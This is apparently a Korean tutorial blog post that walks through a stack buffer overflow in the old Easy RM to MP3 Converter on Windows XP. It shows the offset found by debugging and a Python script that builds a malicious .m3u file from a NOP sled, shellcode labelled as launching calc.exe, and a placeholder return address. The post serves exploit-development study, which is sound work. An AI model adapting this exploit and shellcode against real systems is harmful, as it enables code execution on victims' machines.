본문 바로가기

system

Easy RM to MP3 Converter Exploit

환경

OS : Windows XP Service Pack 2

취약 프로그램 : Easy RM to MP3 Converter v2.7.3.700

사용 도구 : Immunity Debugger, OllyDbg, Python

 

 

이 응용 프로그램은 20000 ~ 30000byte 크기의 .M3u 파일을 로드할 때 BOF 취약점이 발생한다.

Immunity Debugger를 이용하여 정확한 RET 주소를 덮어쓰기 위해 offset 을 구해보도록 하겠다.

 

 

"A" 를 20000개만큼 채워넣고, Immunity Debugger 에서 10000개의 패턴을 생성하여 crash가 터지는 offset 확인한다.

26039 위치에서부터 crash가 터지는 것을 알 수 있다.

 

 

 

- - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - -

#! Python

import struct

 

# shellcode(calc.exe 실행)

buf = ""
buf += "\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4"
buf += "\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff"
buf += "\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8"
buf += "\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69"
buf += "\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3"
buf += "\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76"
buf += "\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07"
buf += "\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57"
buf += "\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d"
buf += "\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62"
buf += "\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c"
buf += "\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27"
buf += "\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0"
buf += "\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed"
buf += "\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66"
buf += "\xf3\x07"

 

# Exploit Payload
payload = '\x90' * 100 + buf + "A" * ( 26039 - 100 -len(buf))
payload += struct.pack('<L',0xFFFFFFFF) # RET Address

f = open("exploit.m3u", "wb")
f.write(payload)
f.close()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

 

위의 Python 코드를 사용하여 exploit 하면 다음과 같이 EIP 가 "FFFFFFFF" 으로 바뀐다.

그리고 OllyDbg를 통해 스택에 NOP 과 Shellcode 가 위치한 주소를 확인할 수 있다. RET 주소를 NOP 이 위치한 주소에 넉넉하게 계산해서 넣어준다면 프로그램을 실행했을 때 계산기가 실행된다.

 

참고 : https://www.exploit-db.com/exploits/10374/

'system' 카테고리의 다른 글

rp(find rop gadget)  (0) 2016.03.19
checksec.sh  (0) 2016.03.17
GHOST: glibc Vulnerability(CVE-2015-0235)  (0) 2016.01.25
메시지 루프와 처리 함수의 전체 순서  (0) 2016.01.07
BOF protection techniques  (0) 2016.01.03